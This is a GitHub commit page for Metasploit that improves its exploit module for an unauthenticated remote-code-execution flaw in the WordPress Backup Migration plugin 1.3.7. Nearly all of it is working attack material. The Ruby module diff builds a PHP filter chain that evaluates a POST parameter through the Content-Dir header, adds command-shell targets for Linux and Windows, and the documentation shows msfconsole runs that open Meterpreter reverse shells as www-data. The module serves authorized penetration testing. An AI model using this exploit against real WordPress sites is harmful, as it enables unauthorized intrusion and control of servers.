Skip to content

Commit

Permalink
Land #19417, Improve wp_backup_migration_php exploit
Browse files Browse the repository at this point in the history
The new PHP filter chain evaluates a POST parameter, which simplifies
the process and reduces the payload size enabling the module to send the
entire paylaod in one POST request instead of writing the payload to a
file character by character over many POST requests. Support for both
Windows and Linux Meterpreter payloads, not just PHP Meterpreter, has
also been added.
  • Loading branch information
jheysel-r7 committed Aug 27, 2024
2 parents f783aab + 61fa0c4 commit 8bf354c
Show file tree
Hide file tree
Showing 2 changed files with 119 additions and 95 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -7,12 +7,13 @@ The vuln makes use of a neat technique called PHP Filter Chaining which allows a
bytes to a string by continuously chaining character encoding conversion. This allows an attacker to prepend
a PHP payload to a string which gets evaluated by a require statement, which results in command execution.

### Setup
## Setup

Spin up a Wordpress instance by running `docker-compose up` in the same directory as the `docker-compose.yml` file below:

```
version: "3"
# Defines which compose version to use
# Defines which compose version to use
services:
# Services line define which Docker images to run. In this case, it will be MySQL server and WordPress image.
db:
Expand All @@ -32,26 +33,29 @@ services:
restart: always
# Restart line controls the restart mode, meaning if the container stops running for any reason, it will restart the process immediately.
ports:
- "8000:80"
# The previous line defines the port that the WordPress container will use. After successful installation, the full path will look like this: http://localhost:8000
- "5555:80"
# The previous line defines the port that the WordPress container will use. After successful installation, the full path will look like this: http://localhost:5555
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: MyWordPressUser
WORDPRESS_DB_PASSWORD: Pa$$5w0rD
WORDPRESS_DB_NAME: MyWordPressDatabaseName
# Similar to MySQL image variables, the last four lines define the main variables needed for the WordPress container to work properly with the MySQL container.
# Similar to MySQL image variables, the last four lines define the main variables needed for the WordPress container to work properly with the MySQL container.
volumes:
["./:/var/www/html"]
volumes:
mysql: {}
```

Download the vulnerable Backup Migration plugin: `https://downloads.wordpress.org/plugin/backup-backup.1.3.7.zip`.
Navigate to `http://localhost:8000` and you'll be redirected and asked to setup the WordPress site. This includes
Navigate to `http://localhost:5555` and you'll be redirected and asked to setup the WordPress site. This includes
setting a username, password, email address for the admin user etc. Once the setup is complete login as the newly created
admin user and via the options on the left side of the screen navigate to the `Plugins` and select `Add New`. Upload the
`backup-backup.1.3.7.zip` file. You should now see `Backup Migration` in the list of Plugins, select `Activate` on the
plugin. You should now have a vulnerable instance running.
plugin. You should now have a vulnerable instance running.

## Options
No options

## Verification Steps

Expand All @@ -62,65 +66,86 @@ plugin. You should now have a vulnerable instance running.
1. Receive a Meterpreter session in the context of the user running the WordPress application.

## Scenarios
### Backup Migration Plugin version: 1.3.7 (Containerized WordPress Version 6.0)
### Backup Migration Plugin version: 1.3.7 (Containerized WordPress Version 6.5.3)

Using `php/meterpreter/reverse_tcp`:

```
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rport 8000
rport => 8000
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rhosts 192.168.1.36
rhosts => 192.168.1.36
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rport 5555
rport => 5555
msf6 exploit(multi/http/wp_backup_migration_php_filter) > options
Module options (exploit/multi/http/wp_backup_migration_php_filter):
Name Current Setting Required Description
---- --------------- -------- -----------
PAYLOAD_FILENAME ONxu.php yes The filename for the payload to be used on the target host (%RAND%.php by default)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
VHOST no HTTP server virtual host
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.1.36 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 5555 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.123.1 yes The listen address (an interface may be specified)
LHOST 192.168.1.36 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
0 PHP In-Memory
msf6 exploit(multi/http/wp_backup_migration_php_filter) > exploit
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/wp_backup_migration_php_filter) > run
[*] Started reverse TCP handler on 192.168.123.1:4444
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] WordPress Version: 6.0
[*] WordPress Version: 6.5.3
[+] Detected Backup Migration Plugin version: 1.3.7
[+] The target appears to be vulnerable.
[*] Writing the payload to disk, character by character, please wait...
[*] Sending stage (39927 bytes) to 192.168.123.1
[+] Deleted L
[+] Deleted ONxu.php
[*] Meterpreter session 3 opened (192.168.123.1:4444 -> 192.168.123.1:56224) at 2024-01-11 12:17:34 -0500
[*] Sending the payload, please wait...
[*] Sending stage (39927 bytes) to 172.18.0.3
[*] Meterpreter session 7 opened (192.168.1.36:4444 -> 172.18.0.3:50136) at 2024-08-24 17:04:19 +0200
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : 856d06702f34
OS : Linux 856d06702f34 6.5.11-linuxkit #1 SMP PREEMPT_DYNAMIC Wed Dec 6 17:14:50 UTC 2023 x86_64
meterpreter > sysinfo
Computer : e409ace0b2a9
OS : Linux e409ace0b2a9 5.15.0-119-generic #129-Ubuntu SMP Fri Aug 2 19:25:20 UTC 2024 x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data
meterpreter >
```
```

Using `cmd/linux/http/x64/meterpreter/reverse_tcp`:

```
msf6 exploit(multi/http/wp_backup_migration_php_filter) > exploit
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] WordPress Version: 6.5.3
[+] Detected Backup Migration Plugin version: 1.3.7
[+] The target appears to be vulnerable.
[*] Sending the payload, please wait...
[*] Sending stage (3045380 bytes) to 172.18.0.3
[*] Meterpreter session 8 opened (192.168.1.36:4444 -> 172.18.0.3:48014) at 2024-08-24 17:06:58 +0200
meterpreter > sysinfo
Computer : 172.18.0.3
OS : Debian 12.5 (Linux 5.15.0-119-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: www-data
meterpreter >
```
105 changes: 52 additions & 53 deletions modules/exploits/multi/http/wp_backup_migration_php_filter.rb
Original file line number Diff line number Diff line change
Expand Up @@ -6,10 +6,10 @@
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Payload::Php
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::Remote::HTTP::PhpFilterChain
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
Expand All @@ -27,7 +27,7 @@ def initialize(info = {})
},
'Author' => [
'Nex Team', # Vulnerability discovery
'Valentin Lobstein', # PoC
'Valentin Lobstein', # PoC + rewrite msfmodule
'jheysel-r7' # msfmodule
],
'License' => MSF_LICENSE,
Expand All @@ -37,28 +37,44 @@ def initialize(info = {})
['URL', 'https://www.synacktiv.com/en/publications/php-filters-chain-what-is-it-and-how-to-use-it'],
['WPVDB', '6a4d0af9-e1cd-4a69-a56c-3c009e207eca']
],
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
},
'Platform' => ['unix', 'linux', 'win', 'php'],
'Arch' => [ARCH_PHP],
'Targets' => [['Automatic', {}]],
'Platform' => %w[php unix linux win],
'Arch' => [ARCH_PHP, ARCH_CMD],
'DisclosureDate' => '2023-12-11',
'DefaultTarget' => 0,
'Privileged' => false,
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options(
[
OptString.new('PAYLOAD_FILENAME', [ true, 'The filename for the payload to be used on the target host (%RAND%.php by default)', Rex::Text.rand_text_alpha(4) + '.php']),
]
)
end

def check
Expand All @@ -79,49 +95,32 @@ def check
CheckCode::Appears
end

def send_payload(payload)
php_filter_chain_payload = generate_php_filter_payload(payload)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', 'backup-heart.php'),
'method' => 'POST',
'headers' => {
'Content-Dir' => php_filter_chain_payload
}
)
fail_with(Failure::Unreachable, 'Connection failed') if res.nil?
fail_with(Failure::UnexpectedReply, 'The server did not respond with the expected 200 response code') unless res.code == 200
def php_exec_cmd(encoded_payload)
vars = Rex::RandomIdentifier::Generator.new
dis = '$' + vars[:dis]
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
shell = <<-END_OF_PHP_CODE
#{php_preamble(disabled_varname: dis)}
$c = base64_decode("#{encoded_clean_payload}");
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
END_OF_PHP_CODE
return shell
end

def write_to_payload_file(string_to_write)
# Because the payload is base64 encoded and then each character is translated into it's corresponding php filter chain,
# the payload becomes quite large and we start to hit limitations due to the HTTP header size.
# For example this payload: "<?php fwrite(fopen("G", "a"),"\x73");?>", ends up being 7721 characters long.
# The payload size limit on the target I was testing seemed to be around 8000 characters.
# Using the following: <?php file_put_contents("file.php","char",FILE_APPEND);?> (more elegant solution) exceeds the
# size limit which is why I ended up using <?php fwrite(fopen("<single_char_filename>", "char" ?> and then after
# copying the single_char_filename to a filename with a .php extension to be executed.
def exploit
print_status('Sending the payload, please wait...')

single_char_filename = Rex::Text.rand_text_alpha(1)
string_to_write.each_char do |char|
send_payload("<?php fwrite(fopen(\"#{single_char_filename}\",\"a\"),\"#{'\\x' + char.unpack('H2')[0]}\");?>")
end
register_file_for_cleanup(single_char_filename)
send_payload("<?php copy(\"#{single_char_filename}\",\"#{datastore['PAYLOAD_FILENAME']}\");?>")
register_file_for_cleanup(datastore['PAYLOAD_FILENAME'])
end
random_var_name = Rex::Text.rand_text_alpha_lower(8)
php_code = "<?php eval($_POST['#{random_var_name}']);?>"
php_filter_chain_payload = generate_php_filter_payload(php_code)
phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
b64_payload = framework.encoders.create('php/base64').encode(phped_payload)

def trigger_payload_file
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', datastore['PAYLOAD_FILENAME']),
'method' => 'GET'
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', 'backup-heart.php'),
'method' => 'POST',
'headers' => { 'Content-Dir' => php_filter_chain_payload },
'data' => "#{random_var_name}=#{b64_payload}"
)
print_warning('The application responded to the request to trigger the payload, this is unexpected. Something may have gone wrong.') if res
end

def exploit
print_status('Writing the payload to disk, character by character, please wait...')
# Use double quotes in the payload, not single.
write_to_payload_file("<?php #{payload.encoded}")
trigger_payload_file
end
end

0 comments on commit 8bf354c

Please sign in to comment.